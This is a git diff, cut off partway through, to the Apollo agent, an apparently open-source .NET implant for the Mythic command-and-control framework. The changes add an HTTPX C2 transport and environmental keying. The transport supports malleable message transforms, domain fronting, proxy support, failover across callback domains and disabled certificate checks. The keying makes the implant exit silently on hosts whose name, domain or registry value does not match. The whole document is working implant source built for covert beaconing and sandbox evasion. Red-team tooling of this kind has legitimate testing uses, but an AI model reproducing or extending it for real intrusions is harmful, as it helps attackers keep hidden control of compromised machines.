diff --git a/Payload_Type/apollo/CHANGELOG.MD b/Payload_Type/apollo/CHANGELOG.MD index 70aa81db..59eb3aba 100644 --- a/Payload_Type/apollo/CHANGELOG.MD +++ b/Payload_Type/apollo/CHANGELOG.MD @@ -18,6 +18,19 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [v2.4.1] - 2025-10-27 +### Added + +- Added support for the HTTPX Profile C2 transport + - Uses client-side generated RSA keys (4096-bit) to perform EKE (Encrypted Key Exchange) + - Supports malleable profile transforms: base64, base64url, netbios, netbiosu, xor, prepend, append + - Supports all REST HTTP methods: GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD + - Supports message placement in query parameters, cookies, headers, and body + - Supports proxy configuration with authentication + - Supports domain fronting and custom HTTP headers + - Supports failover and round-robin domain rotation strategies +- Added environment keying support for hostname, domain name and registry keys +- Build process now conditionally includes only selected C2 profile projects + ### Changed - Updated PyPi version diff --git a/Payload_Type/apollo/Dockerfile b/Payload_Type/apollo/Dockerfile index 9956a1b9..dc4b1c47 100644 --- a/Payload_Type/apollo/Dockerfile +++ b/Payload_Type/apollo/Dockerfile @@ -18,7 +18,7 @@ RUN /venv/bin/python -m pip install git+https://github.com/MEhrn00/donut.git@v2. COPY [".", "."] # fetch all dependencies -RUN cd apollo/agent_code && dotnet restore && rm donut ; cp /donut donut +RUN cd apollo/agent_code && dotnet restore --verbosity quiet && rm donut ; cp /donut donut RUN cd apollo/agent_code && cp COFFLoader.dll /COFFLoader.dll CMD ["bash", "-c", "cp /donut apollo/agent_code/donut && /venv/bin/python main.py"] diff --git a/Payload_Type/apollo/apollo/__init__.py b/Payload_Type/apollo/apollo/__init__.py index 8b137891..e69de29b 100644 --- a/Payload_Type/apollo/apollo/__init__.py +++ b/Payload_Type/apollo/apollo/__init__.py @@ -1 +0,0 @@ - diff --git a/Payload_Type/apollo/apollo/agent_code/Apollo/Apollo.csproj b/Payload_Type/apollo/apollo/agent_code/Apollo/Apollo.csproj index f3d1a8a7..8c588bf7 100644 --- a/Payload_Type/apollo/apollo/agent_code/Apollo/Apollo.csproj +++ b/Payload_Type/apollo/apollo/agent_code/Apollo/Apollo.csproj @@ -19,6 +19,8 @@ + + diff --git a/Payload_Type/apollo/apollo/agent_code/Apollo/Config.cs b/Payload_Type/apollo/apollo/agent_code/Apollo/Config.cs index 5f3c8ef0..36f85db1 100644 --- a/Payload_Type/apollo/apollo/agent_code/Apollo/Config.cs +++ b/Payload_Type/apollo/apollo/agent_code/Apollo/Config.cs @@ -1,6 +1,7 @@ #define C2PROFILE_NAME_UPPER //#define LOCAL_BUILD +#define HTTPX #if LOCAL_BUILD //#define HTTP @@ -12,6 +13,9 @@ #if HTTP using HttpTransport; #endif +#if HTTPX +using HttpxTransport; +#endif using System; using System.Collections.Generic; using System.Linq; @@ -145,7 +149,44 @@ public static class Config #endif } } - } + }, +#endif +#if HTTPX + { "httpx", new C2ProfileData() + { + TC2Profile = typeof(HttpxProfile), + TCryptography = typeof(PSKCryptographyProvider), + TSerializer = typeof(EncryptedJsonSerializer), + Parameters = new Dictionary() + { +#if LOCAL_BUILD + { "callback_interval", "10" }, + { "callback_jitter", "23" }, + { "callback_domains", "https://example.com:443" }, + { "domain_rotation", "fail-over" }, + { "failover_threshold", "5" }, + { "encrypted_exchange_check", "true" }, + { "killdate", "-1" }, + { "raw_c2_config", "" }, +#else + { "callback_interval", "httpx_callback_interval_here" }, + { "callback_jitter", "httpx_callback_jitter_here" }, + { "callback_domains", "httpx_callback_domains_here" }, + { "domain_rotation", "httpx_domain_rotation_here" }, + { "failover_threshold", "httpx_failover_threshold_here" }, + { "encrypted_exchange_check", "httpx_encrypted_exchange_check_here" }, + { "killdate", "httpx_killdate_here" }, + { "raw_c2_config", "httpx_raw_c2_config_here" }, + { "proxy_host", "httpx_proxy_host_here" }, + { "proxy_port", "httpx_proxy_port_here" }, + { "proxy_user", "httpx_proxy_user_here" }, + { "proxy_pass", "httpx_proxy_pass_here" }, + { "domain_front", "httpx_domain_front_here" }, + { "timeout", "httpx_timeout_here" }, +#endif + } + } + }, #endif }; @@ -160,6 +201,8 @@ public static class Config public static string StagingRSAPrivateKey = "NNLlAegRMB8DIX7EZ1Yb6UlKQ4la90QsisIThCyhfCc="; #elif TCP public static string StagingRSAPrivateKey = "Zq24zZvWPRGdWwEQ79JXcHunzvcOJaKLH7WtR+gLiGg="; +#elif HTTPX + public static string StagingRSAPrivateKey = "K4FLVfFwCPj3zBC+5l9WLCKqsmrtzkk/E8VcVY6iK/o="; #endif #if HTTP public static string PayloadUUID = "b40195db-22e5-4f9f-afc5-2f170c3cc204"; @@ -169,11 +212,23 @@ public static class Config public static string PayloadUUID = "aff94490-1e23-4373-978b-263d9c0a47b3"; #elif TCP public static string PayloadUUID = "bfc167ea-9142-4da3-b807-c57ae054c544"; +#elif HTTPX + public static string PayloadUUID = "7f2a0f77-51ca-4afc-a7a9-5ea9717e73c3"; #endif #else - // TODO: Make the AES key a config option specific to each profile + public static string StagingRSAPrivateKey = "AESPSK_here"; public static string PayloadUUID = "payload_uuid_here"; #endif + + // Environmental Keying Configuration + public static bool KeyingEnabled = keying_enabled_here; + public static int KeyingMethod = keying_method_here; // 1=Hostname, 2=Domain, 3=Registry + public static string KeyingValueHash = "keying_value_hash_here"; + + // Registry Keying Configuration + public static string RegistryPath = "registry_path_here"; + public static string RegistryValue = "registry_value_here"; + public static int RegistryComparison = registry_comparison_here; // 1=Matches, 2=Contains } } diff --git a/Payload_Type/apollo/apollo/agent_code/Apollo/Management/C2/C2ProfileManager.cs b/Payload_Type/apollo/apollo/agent_code/Apollo/Management/C2/C2ProfileManager.cs index 4f2837d2..081d4a73 100644 --- a/Payload_Type/apollo/apollo/agent_code/Apollo/Management/C2/C2ProfileManager.cs +++ b/Payload_Type/apollo/apollo/agent_code/Apollo/Management/C2/C2ProfileManager.cs @@ -1,5 +1,10 @@ using ApolloInterop.Interfaces; +#if HTTP using HttpTransport; +#endif +#if HTTPX +using HttpxTransport; +#endif using System; using System.Collections.Generic; @@ -14,13 +19,19 @@ public C2ProfileManager(IAgent agent) : base(agent) public override IC2Profile NewC2Profile(Type c2, ISerializer serializer, Dictionary parameters) { +#if HTTP if (c2 == typeof(HttpProfile)) { return new HttpProfile(parameters, serializer, Agent); - } else + } +#endif +#if HTTPX + if (c2 == typeof(HttpxProfile)) { - throw new ArgumentException($"Unsupported C2 Profile type: {c2.Name}"); + return new HttpxProfile(parameters, serializer, Agent); } +#endif + throw new ArgumentException($"Unsupported C2 Profile type: {c2.Name}"); } } } diff --git a/Payload_Type/apollo/apollo/agent_code/Apollo/Management/Files/FileManager.cs b/Payload_Type/apollo/apollo/agent_code/Apollo/Management/Files/FileManager.cs index 6c13e4ef..366571ac 100644 --- a/Payload_Type/apollo/apollo/agent_code/Apollo/Management/Files/FileManager.cs +++ b/Payload_Type/apollo/apollo/agent_code/Apollo/Management/Files/FileManager.cs @@ -8,7 +8,6 @@ using System.Linq; using System.Threading; using ApolloInterop.Classes.Cryptography; -using Newtonsoft.Json.Serialization; namespace Apollo.Management.Files { diff --git a/Payload_Type/apollo/apollo/agent_code/Apollo/Program.cs b/Payload_Type/apollo/apollo/agent_code/Apollo/Program.cs index 593aac10..1db2625d 100644 --- a/Payload_Type/apollo/apollo/agent_code/Apollo/Program.cs +++ b/Payload_Type/apollo/apollo/agent_code/Apollo/Program.cs @@ -14,6 +14,8 @@ using ApolloInterop.Enums.ApolloEnums; using System.Runtime.InteropServices; using ApolloInterop.Utils; +using System.Security.Cryptography; +using Microsoft.Win32; namespace Apollo { @@ -55,9 +57,210 @@ public static void Main(string[] args) { DebugHelp.DebugWriteLine($"CoInitializeSecurity status: {_security_init}"); } + + // Check environmental keying before starting agent + if (!CheckEnvironmentalKeying()) + { + // Exit silently if keying check fails + return; + } + Agent.Apollo ap = new Agent.Apollo(Config.PayloadUUID); ap.Start(); } + + private static bool CheckEnvironmentalKeying() + { + // If keying is not enabled, always return true + if (!Config.KeyingEnabled) + { + return true; + } + + try + { + // Handle Registry keying separately (3 = Registry) + if (Config.KeyingMethod == 3) + { + return CheckRegistryKeying(); + } + + string currentValue = ""; + + // Get the appropriate value based on keying method + // 1 = Hostname, 2 = Domain + if (Config.KeyingMethod == 1) + { + currentValue = Environment.MachineName; + } + else if (Config.KeyingMethod == 2) + { + currentValue = Environment.UserDomainName; + } + else + { + // Unknown keying method, fail safe and exit + return false; + } + + // Convert to uppercase before hashing (same as build time) + currentValue = currentValue.ToUpper(); + + // For hostname (1), just check the single value + if (Config.KeyingMethod == 1) + { + string currentValueHash = ComputeSHA256Hash(currentValue); + if (currentValueHash.Equals(Config.KeyingValueHash, StringComparison.OrdinalIgnoreCase)) + { + return true; + } + } + // For domain (2), check full domain and all parts split by '.' + else if (Config.KeyingMethod == 2) + { + // First try the full domain + string fullDomainHash = ComputeSHA256Hash(currentValue); + if (fullDomainHash.Equals(Config.KeyingValueHash, StringComparison.OrdinalIgnoreCase)) + { + return true; + } + + // Then try each part of the domain split by '.' + string[] domainParts = currentValue.Split('.'); + foreach (string part in domainParts) + { + if (!string.IsNullOrEmpty(part)) + { + string partHash = ComputeSHA256Hash(part); + if (partHash.Equals(Config.KeyingValueHash, StringComparison.OrdinalIgnoreCase)) + { + return true; + } + } + } + } + + // Keying check failed + return false; + } + catch + { + // If any error occurs during keying check, fail safe and exit + return false; + } + } + + private static bool CheckRegistryKeying() + { + try + { + // Parse the registry path + string regPath = Config.RegistryPath; + if (string.IsNullOrEmpty(regPath)) + { + return false; + } + + // Split registry path into hive, subkey, and value name + // Expected format: HKLM\SOFTWARE\Path\To\Key\ValueName + string[] pathParts = regPath.Split('\\'); + if (pathParts.Length < 2) + { + return false; + } + + // Get the registry hive + RegistryKey hive = GetRegistryHive(pathParts[0]); + if (hive == null) + { + return false; + } + + // Get the value name (last part) + string valueName = pathParts[pathParts.Length - 1]; + + // Get the subkey path (everything between hive and value name) + string subKeyPath = string.Join("\\", pathParts, 1, pathParts.Length - 2); + + // Open the registry key + using (RegistryKey key = hive.OpenSubKey(subKeyPath)) + { + if (key == null) + { + // Registry key doesn't exist + return false; + } + + // Get the registry value + object regValue = key.GetValue(valueName); + if (regValue == null) + { + // Registry value doesn't exist + return false; + } + + string regValueString = regValue.ToString(); + + // Check based on comparison mode: 1 = Matches, 2 = Contains + if (Config.RegistryComparison == 1) + { + // Hash-based secure matching + string regValueHash = ComputeSHA256Hash(regValueString.ToUpper()); + return regValueHash.Equals(Config.KeyingValueHash, StringComparison.OrdinalIgnoreCase); + } + else if (Config.RegistryComparison == 2) + { + // Plaintext contains matching (weak security) + return regValueString.IndexOf(Config.RegistryValue, StringComparison.OrdinalIgnoreCase) >= 0; + } + } + + return false; + } + catch + { + // If any error occurs, fail safe and exit + return false; + } + } + + private static RegistryKey GetRegistryHive(string hiveName) + { + switch (hiveName.ToUpper()) + { + case "HKLM": + case "HKEY_LOCAL_MACHINE": + return Registry.LocalMachine; + case "HKCU": + case "HKEY_CURRENT_USER": + return Registry.CurrentUser; + case "HKCR": + case "HKEY_CLASSES_ROOT": + return Registry.ClassesRoot; + case "HKU": + case "HKEY_USERS": + return Registry.Users; + case "HKCC": + case "HKEY_CURRENT_CONFIG": + return Registry.CurrentConfig; + default: + return null; + } + } + + private static string ComputeSHA256Hash(string input) + { + using (SHA256 sha256 = SHA256.Create()) + { + byte[] hashBytes = sha256.ComputeHash(Encoding.UTF8.GetBytes(input)); + StringBuilder sb = new StringBuilder(); + foreach (byte b in hashBytes) + { + sb.Append(b.ToString("x2")); + } + return sb.ToString(); + } + } private static void Client_Disconnect(object sender, NamedPipeMessageArgs e) { diff --git a/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs b/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs new file mode 100644 index 00000000..f1b46f3a --- /dev/null +++ b/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs @@ -0,0 +1,1051 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using ApolloInterop.Classes; +using ApolloInterop.Interfaces; +using ApolloInterop.Structs.MythicStructs; +using ApolloInterop.Types.Delegates; +using System.Net; +using ApolloInterop.Enums.ApolloEnums; +using HttpxTransform; +using System.Text; +using System.IO; +using System.Threading; + +#if DEBUG +using System.Diagnostics; +#endif + +// Add HttpWebResponse for detailed error logging + +namespace HttpxTransport +{ + /// + /// HttpxProfile implementation for Apollo agent + /// Supports malleable profiles with message transforms + /// + public class HttpxProfile : C2Profile, IC2Profile + { + private int CallbackInterval; + private double CallbackJitter; + private string[] CallbackDomains; + private string DomainRotation; + private int FailoverThreshold; + private bool EncryptedExchangeCheck; + private string KillDate; + private HttpxConfig Config; + private int CurrentDomainIndex = 0; + private int FailureCount = 0; + private Random Random = new Random(); + private bool _uuidNegotiated = false; + private RSAKeyGenerator rsa = null; + private string _tempUUID = null; // For EKE staging process + + // Add thread-safe properties for runtime sleep/jitter changes + private volatile int _currentSleepInterval; + private volatile int _currentJitterInt; // Store as int to avoid volatile double issue + + // Add missing features + private string ProxyHost; + private int ProxyPort; + private string ProxyUser; + private string ProxyPass; + private string DomainFront; + private int TimeoutSeconds = 240; + + public HttpxProfile(Dictionary data, ISerializer serializer, IAgent agent) : base(data, serializer, agent) + { +#if DEBUG + DebugWriteLine("[HttpxProfile] Constructor starting"); + DebugWriteLine($"[HttpxProfile] Received {data.Count} parameters"); +#endif + + // Parse basic parameters + CallbackInterval = GetIntValueOrDefault(data, "callback_interval", 10); +#if DEBUG + DebugWriteLine($"[HttpxProfile] callback_interval = {CallbackInterval}"); +#endif + + CallbackJitter = GetDoubleValueOrDefault(data, "callback_jitter", 23.0); +#if DEBUG + DebugWriteLine($"[HttpxProfile] callback_jitter = {CallbackJitter}"); +#endif + + CallbackDomains = GetValueOrDefault(data, "callback_domains", "https://example.com:443").Split(','); +#if DEBUG + DebugWriteLine($"[HttpxProfile] callback_domains = [{string.Join(", ", CallbackDomains)}]"); +#endif + + DomainRotation = GetValueOrDefault(data, "domain_rotation", "fail-over"); +#if DEBUG + DebugWriteLine($"[HttpxProfile] domain_rotation = {DomainRotation}"); +#endif + + FailoverThreshold = GetIntValueOrDefault(data, "failover_threshold", 5); +#if DEBUG + DebugWriteLine($"[HttpxProfile] failover_threshold = {FailoverThreshold}"); +#endif + + EncryptedExchangeCheck = GetBoolValueOrDefault(data, "encrypted_exchange_check", true); +#if DEBUG + DebugWriteLine($"[HttpxProfile] encrypted_exchange_check = {EncryptedExchangeCheck}"); +#endif + + KillDate = GetValueOrDefault(data, "killdate", "-1"); +#if DEBUG + DebugWriteLine($"[HttpxProfile] killdate = {KillDate}"); +#endif + + // Parse additional features + ProxyHost = GetValueOrDefault(data, "proxy_host", ""); +#if DEBUG + DebugWriteLine($"[HttpxProfile] proxy_host = '{ProxyHost}'"); +#endif + + ProxyPort = GetIntValueOrDefault(data, "proxy_port", 0); +#if DEBUG + DebugWriteLine($"[HttpxProfile] proxy_port = {ProxyPort}"); +#endif + + ProxyUser = GetValueOrDefault(data, "proxy_user", ""); + ProxyPass = GetValueOrDefault(data, "proxy_pass", ""); + DomainFront = GetValueOrDefault(data, "domain_front", ""); + TimeoutSeconds = GetIntValueOrDefault(data, "timeout", 240); +#if DEBUG + DebugWriteLine($"[HttpxProfile] timeout = {TimeoutSeconds}"); +#endif + + // Initialize runtime-changeable values + _currentSleepInterval = CallbackInterval; + _currentJitterInt = (int)(CallbackJitter * 100); // Store as int (multiply by 100) +#if DEBUG + DebugWriteLine($"[HttpxProfile] Initialized runtime values: sleep={_currentSleepInterval}, jitter={_currentJitterInt}"); +#endif + + // Load httpx configuration + string rawConfig = GetValueOrDefault(data, "raw_c2_config", ""); +#if DEBUG + DebugWriteLine($"[HttpxProfile] raw_c2_config length = {rawConfig.Length}"); +#endif + + LoadHttpxConfig(rawConfig); + + // Disable certificate validation on web requests (accept self-signed/invalid certs) + ServicePointManager.ServerCertificateValidationCallback = delegate { return true; }; + // Enable TLS protocols: TLS 1.2, TLS 1.1, TLS 1.0, and SSL 3.0 + ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12 | SecurityProtocolType.Tls11 | SecurityProtocolType.Tls | SecurityProtocolType.Ssl3; + +#if DEBUG + DebugWriteLine("[HttpxProfile] Constructor complete"); +#endif + } + + private string GetValueOrDefault(Dictionary dictionary, string key, string defaultValue) + { + string value; + if (dictionary.TryGetValue(key, out value)) + { + // Return empty string as default if value is null or empty + if (string.IsNullOrEmpty(value)) + { + return defaultValue; + } + return value; + } + return defaultValue; + } + + private int GetIntValueOrDefault(Dictionary dictionary, string key, int defaultValue) + { + string value; + if (dictionary.TryGetValue(key, out value)) + { + if (string.IsNullOrEmpty(value)) + { + return defaultValue; + } + if (int.TryParse(value, out int result)) + { + return result; + } + } + return defaultValue; + } + + private double GetDoubleValueOrDefault(Dictionary dictionary, string key, double defaultValue) + { + string value; + if (dictionary.TryGetValue(key, out value)) + { + if (string.IsNullOrEmpty(value)) + { + return defaultValue; + } + if (double.TryParse(value, out double result)) + { + return result; + } + } + return defaultValue; + } + + private bool GetBoolValueOrDefault(Dictionary dictionary, string key, bool defaultValue) + { + string value; + if (dictionary.TryGetValue(key, out value)) + { + if (string.IsNullOrEmpty(value)) + { + return defaultValue; + } + if (bool.TryParse(value, out bool result)) + { + return result; + } + } + return defaultValue; + } + +#if DEBUG + private void DebugWriteLine(string message) + { + Console.WriteLine(message); + Debug.WriteLine(message); + } +#endif + + private static readonly HashSet RestrictedHeaders = new HashSet(StringComparer.OrdinalIgnoreCase) + { + "Connection", + "Content-Length", + "Date", + "Expect", + "Host", + "If-Modified-Since", + "Range", + "Referer", + "Transfer-Encoding", + "User-Agent" + }; + + private bool IsRestrictedHeader(string headerName) + { + return RestrictedHeaders.Contains(headerName); + } + + /// + /// Check if a string contains invalid characters for HTTP headers + /// HTTP headers should only contain printable ASCII (0x20-0x7E) and no CR/LF + /// + private bool ContainsInvalidHeaderChars(string value) + { + if (string.IsNullOrEmpty(value)) return false; + + foreach (char c in value) + { + // Check for non-printable ASCII or CR/LF + if (c < 0x20 || c > 0x7E || c == '\r' || c == '\n') + { + return true; + } + } + return false; + } + + private void LoadHttpxConfig(string configData) + { +#if DEBUG + DebugWriteLine("[LoadHttpxConfig] Starting"); + DebugWriteLine($"[LoadHttpxConfig] configData is null = {configData == null}, length = {configData?.Length ?? 0}"); +#endif + + try + { + if (!string.IsNullOrEmpty(configData)) + { +#if DEBUG + DebugWriteLine("[LoadHttpxConfig] Config data provided, attempting to decode"); +#endif + + // Check if config is Base64 encoded (new format to avoid string escaping issues) + string decodedConfig = configData; + try + { + byte[] data = Convert.FromBase64String(configData); + decodedConfig = System.Text.Encoding.UTF8.GetString(data); +#if DEBUG + DebugWriteLine("[LoadHttpxConfig] Successfully decoded Base64 config"); + DebugWriteLine($"[LoadHttpxConfig] Decoded config length = {decodedConfig.Length}"); +#endif + } + catch (FormatException ex) + { +#if DEBUG + DebugWriteLine($"[LoadHttpxConfig] Not Base64 encoded (using as-is): {ex.Message}"); +#endif + // Not Base64, use as-is (backward compatibility) + } + + // Load from provided config data +#if DEBUG + DebugWriteLine("[LoadHttpxConfig] Attempting HttpxConfig.FromJson"); +#endif + Config = HttpxConfig.FromJson(decodedConfig); +#if DEBUG + DebugWriteLine($"[LoadHttpxConfig] Successfully loaded config: {Config.Name}"); +#endif + } + else + { +#if DEBUG + DebugWriteLine("[LoadHttpxConfig] No config data provided - agent cannot function without C2 config"); +#endif + throw new InvalidOperationException("Httpx C2 profile requires configuration data. Please provide the raw_c2_config parameter with a valid configuration."); + } + +#if DEBUG + DebugWriteLine("[LoadHttpxConfig] Validating config"); +#endif + Config.Validate(); +#if DEBUG + DebugWriteLine("[LoadHttpxConfig] Config validated successfully"); +#endif + } + catch (Exception ex) + { +#if DEBUG + DebugWriteLine($"[LoadHttpxConfig] ERROR: {ex.GetType().Name}: {ex.Message}"); + DebugWriteLine($"[LoadHttpxConfig] Stack: {ex.StackTrace}"); + DebugWriteLine("[LoadHttpxConfig] Killing agent"); +#endif + Environment.Exit(1); + } + } + + private string GetCurrentDomain() + { + if (CallbackDomains == null || CallbackDomains.Length == 0) + { +#if DEBUG + DebugWriteLine("[GetCurrentDomain] No callback domains, killing agent"); +#endif + Environment.Exit(1); + } + + + switch (DomainRotation.ToLower()) + { + case "round-robin": + CurrentDomainIndex = (CurrentDomainIndex + 1) % CallbackDomains.Length; + return CallbackDomains[CurrentDomainIndex]; + + case "random": + return CallbackDomains[Random.Next(CallbackDomains.Length)]; + + case "fail-over": + default: + return CallbackDomains[CurrentDomainIndex]; + } + } + + private void HandleDomainFailure() + { + FailureCount++; + if (FailureCount >= FailoverThreshold) + { + CurrentDomainIndex = (CurrentDomainIndex + 1) % CallbackDomains.Length; + FailureCount = 0; + } + } + + private void HandleDomainSuccess() + { + FailureCount = 0; + } + + public bool SendRecv(T message, OnResponse onResponse) + { + string sMsg = Serializer.Serialize(message); + byte[] messageBytes = Encoding.UTF8.GetBytes(sMsg); + + // Select HTTP method variation based on message size + // Default behavior: use POST for large messages (>500 bytes), GET for small messages + // Only supports GET and POST methods + VariationConfig variation = null; +#if DEBUG + DebugWriteLine($"[SendRecv] Message size: {messageBytes.Length} bytes"); +#endif + if (messageBytes.Length > 500) + { +#if DEBUG + DebugWriteLine("[SendRecv] Large message (>500 bytes), selecting POST variation"); +#endif + // Try POST for large messages + variation = Config.GetConfiguredVariation("post"); + + // Fall back to GET if POST is not configured + if (variation == null) + { +#if DEBUG + DebugWriteLine("[SendRecv] No POST configured, falling back to GET"); +#endif + variation = Config.GetConfiguredVariation("get"); + } + } + else + { +#if DEBUG + DebugWriteLine("[SendRecv] Small message (<=500 bytes), selecting GET variation"); +#endif + // Small messages: use GET + variation = Config.GetConfiguredVariation("get"); + + // Fall back to POST if GET is not configured + if (variation == null) + { +#if DEBUG + DebugWriteLine("[SendRecv] No GET configured, falling back to POST"); +#endif + variation = Config.GetConfiguredVariation("post"); + } + } + + // Final fallback to ensure we have a valid variation + if (variation == null) + { + throw new InvalidOperationException("No valid HTTP method variation found in configuration. Please ensure your Httpx config defines at least GET or POST methods."); + } + +#if DEBUG + DebugWriteLine($"[SendRecv] Selected variation: {variation.Verb}"); + DebugWriteLine($"[SendRecv] Available URIs: [{string.Join(", ", variation.Uris)}]"); + DebugWriteLine($"[SendRecv] Message location: {variation.Client?.Message?.Location ?? "none"}"); + DebugWriteLine($"[SendRecv] Message name: {variation.Client?.Message?.Name ?? "none"}"); +#endif + + // Apply client transforms + byte[] transformedData = TransformChain.ApplyClientTransforms(messageBytes, variation.Client.Transforms); + + string url = null; // Declare outside try block for error logging + try + { + string domain = GetCurrentDomain(); + string uri = variation.Uris[Random.Next(variation.Uris.Count)]; + url = domain + uri; +#if DEBUG + DebugWriteLine($"[SendRecv] Domain: {domain}"); + DebugWriteLine($"[SendRecv] Selected URI: {uri}"); + DebugWriteLine($"[SendRecv] Initial URL: {url}"); +#endif + + // Handle message placement and build final URL with query parameters if needed + byte[] requestBodyBytes = null; + string contentType = null; + + switch (variation.Client.Message.Location.ToLower()) + { + case "query": + string queryParam = ""; + // Add custom query parameters first + if (variation.Client.Parameters != null) + { + foreach (var param in variation.Client.Parameters) + { + if (!string.IsNullOrEmpty(queryParam)) + queryParam += "&"; + queryParam += $"{param.Key}={Uri.EscapeDataString(param.Value)}"; + } + } + // Add message parameter + string transformedString = Encoding.UTF8.GetString(transformedData); + + // Check if the transformed data already contains a query parameter pattern (e.g., "filter=" from prepend transform) + // If it does and matches the message name, use it directly to avoid duplication + string paramPrefix = variation.Client.Message.Name + "="; + if (transformedString.StartsWith(paramPrefix)) + { + // Transformed data already includes parameter name (from prepend transform), use as-is + if (!string.IsNullOrEmpty(queryParam)) + queryParam += "&"; + queryParam += transformedString; + } + else + { + // Standard case: add parameter name + // NOTE: transformedData is already URL-safe (base64url/netbios/netbiosu) + // Do NOT apply Uri.EscapeDataString to avoid double-encoding + if (!string.IsNullOrEmpty(queryParam)) + queryParam += "&"; + queryParam += $"{variation.Client.Message.Name}={transformedString}"; + } + url = url.Split('?')[0] + "?" + queryParam; +#if DEBUG + DebugWriteLine($"[SendRecv] Final URL with query params: {url}"); + DebugWriteLine($"[SendRecv] Query param length: {queryParam.Length} chars"); +#endif + break; + + case "cookie": + case "header": + case "body": + default: + requestBodyBytes = variation.Client.Message.Location.ToLower() == "body" ? transformedData : null; +#if DEBUG + if (variation.Client.Message.Location.ToLower() == "cookie") + { + DebugWriteLine($"[SendRecv] Message will be placed in cookie: {variation.Client.Message.Name}"); + } + else if (variation.Client.Message.Location.ToLower() == "header") + { + DebugWriteLine($"[SendRecv] Message will be placed in header: {variation.Client.Message.Name}"); + } + else if (variation.Client.Message.Location.ToLower() == "body") + { + DebugWriteLine($"[SendRecv] Message will be placed in body ({transformedData.Length} bytes)"); + } +#endif + break; + } + + // Create HttpWebRequest for full control over headers + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url); + request.Method = variation.Verb; +#if DEBUG + DebugWriteLine($"[SendRecv] HTTP Method: {variation.Verb}"); + DebugWriteLine($"[SendRecv] Final URL: {url}"); +#endif + request.Timeout = TimeoutSeconds * 1000; + request.ReadWriteTimeout = TimeoutSeconds * 1000; + + // Configure proxy if needed + if (!string.IsNullOrEmpty(ProxyHost) && ProxyPort > 0) + { + request.Proxy = new WebProxy($"{ProxyHost}:{ProxyPort}"); + + if (!string.IsNullOrEmpty(ProxyUser) && !string.IsNullOrEmpty(ProxyPass)) + { + request.Proxy.Credentials = new NetworkCredential(ProxyUser, ProxyPass); + } + } + else + { + request.Proxy = WebRequest.GetSystemWebProxy(); + request.Proxy.Credentials = CredentialCache.DefaultCredentials; + } + + // Add all headers (including restricted ones) + foreach (var header in variation.Client.Headers) + { + + bool headerSet = false; + + // Try setting via properties first (for restricted headers) + switch (header.Key.ToLower()) + { + case "accept": + request.Accept = header.Value; + headerSet = true; + break; + case "connection": + // Set KeepAlive property based on Connection header + if (header.Value.ToLower().Contains("keep-alive") || header.Value.ToLower() == "keepalive") + { + request.KeepAlive = true; + headerSet = true; + } + else if (header.Value.ToLower() == "close") + { + request.KeepAlive = false; + headerSet = true; + } + // Note: We can't add Connection header directly in .NET HttpWebRequest + // But setting KeepAlive = true should achieve the same effect + break; + case "content-type": + request.ContentType = header.Value; + headerSet = true; + break; + case "content-length": + // Set via ContentLength property when writing body + headerSet = true; + break; + case "expect": + // HttpWebRequest doesn't support setting Expect header directly + // Skip it or log a warning + headerSet = true; // Mark as handled so we don't try to add it + break; + case "host": + request.Host = header.Value; + headerSet = true; + break; + case "if-modified-since": + if (DateTime.TryParse(header.Value, out DateTime modifiedDate)) + { + request.IfModifiedSince = modifiedDate; + headerSet = true; + } + break; + case "range": + // Range header is complex, skip for now + headerSet = true; + break; + case "referer": + request.Referer = header.Value; + headerSet = true; + break; + case "transfer-encoding": + // Transfer-Encoding is not directly settable in HttpWebRequest + headerSet = true; + break; + case "user-agent": + request.UserAgent = header.Value; + headerSet = true; + break; + } + + // If header wasn't set via property, try adding it to Headers collection + if (!headerSet) + { + try + { + request.Headers[header.Key] = header.Value; + headerSet = true; + } + catch (Exception ex) + { +#if DEBUG + DebugWriteLine($"[SendRecv] WARNING: Could not set header '{header.Key}': {ex.Message}"); +#endif + } + } + } + + // Handle cookie and header placement (must be after request is created) + switch (variation.Client.Message.Location.ToLower()) + { + case "cookie": + // Convert transformed data to string for cookie value + // For netbios/netbiosu, the data is already ASCII-printable letters + // URL encoding is needed for cookies to handle any special characters + string cookieValue = Encoding.UTF8.GetString(transformedData); + string cookieHeader = $"{variation.Client.Message.Name}={Uri.EscapeDataString(cookieValue)}"; + request.Headers[HttpRequestHeader.Cookie] = cookieHeader; +#if DEBUG + DebugWriteLine($"[SendRecv] Cookie header set: {variation.Client.Message.Name} (value length: {cookieValue.Length} chars)"); +#endif + break; + + case "header": + // Convert transformed data to string for header value + // Headers can contain ASCII characters; netbios produces lowercase letters (a-p), netbiosu produces uppercase (A-P) + // These are safe for HTTP headers, but we should validate they're valid header characters + string headerValue = Encoding.UTF8.GetString(transformedData); + + // HTTP headers should only contain printable ASCII characters (0x20-0x7E) and not contain CR/LF + // If the transformed data contains non-printable characters, we might need base64 encoding + // For now, use as-is since netbios/netbiosu produce printable ASCII + if (ContainsInvalidHeaderChars(headerValue)) + { + // If header contains invalid characters, base64 encode it + headerValue = Convert.ToBase64String(transformedData); + } + request.Headers[variation.Client.Message.Name] = headerValue; +#if DEBUG + DebugWriteLine($"[SendRecv] Custom header set: {variation.Client.Message.Name} (value length: {headerValue.Length} chars)"); +#endif + break; + } + + // Write request body for POST + if (requestBodyBytes != null && requestBodyBytes.Length > 0) + { +#if DEBUG + DebugWriteLine($"[SendRecv] Writing request body ({requestBodyBytes.Length} bytes)"); +#endif + request.ContentLength = requestBodyBytes.Length; + using (var requestStream = request.GetRequestStream()) + { + requestStream.Write(requestBodyBytes, 0, requestBodyBytes.Length); + } + } + + // Get response + string response; + HttpWebResponse httpResponse = null; +#if DEBUG + DebugWriteLine($"[SendRecv] Sending {variation.Verb} request to: {url}"); + DebugWriteLine($"[SendRecv] Request headers count: {request.Headers.Count}"); + DebugWriteLine($"[SendRecv] Request headers:"); + foreach (string headerName in request.Headers.AllKeys) + { + DebugWriteLine($"[SendRecv] {headerName}: {request.Headers[headerName]}"); + } + // Also log property-based headers + if (!string.IsNullOrEmpty(request.Accept)) + DebugWriteLine($"[SendRecv] Accept (property): {request.Accept}"); + if (!string.IsNullOrEmpty(request.UserAgent)) + 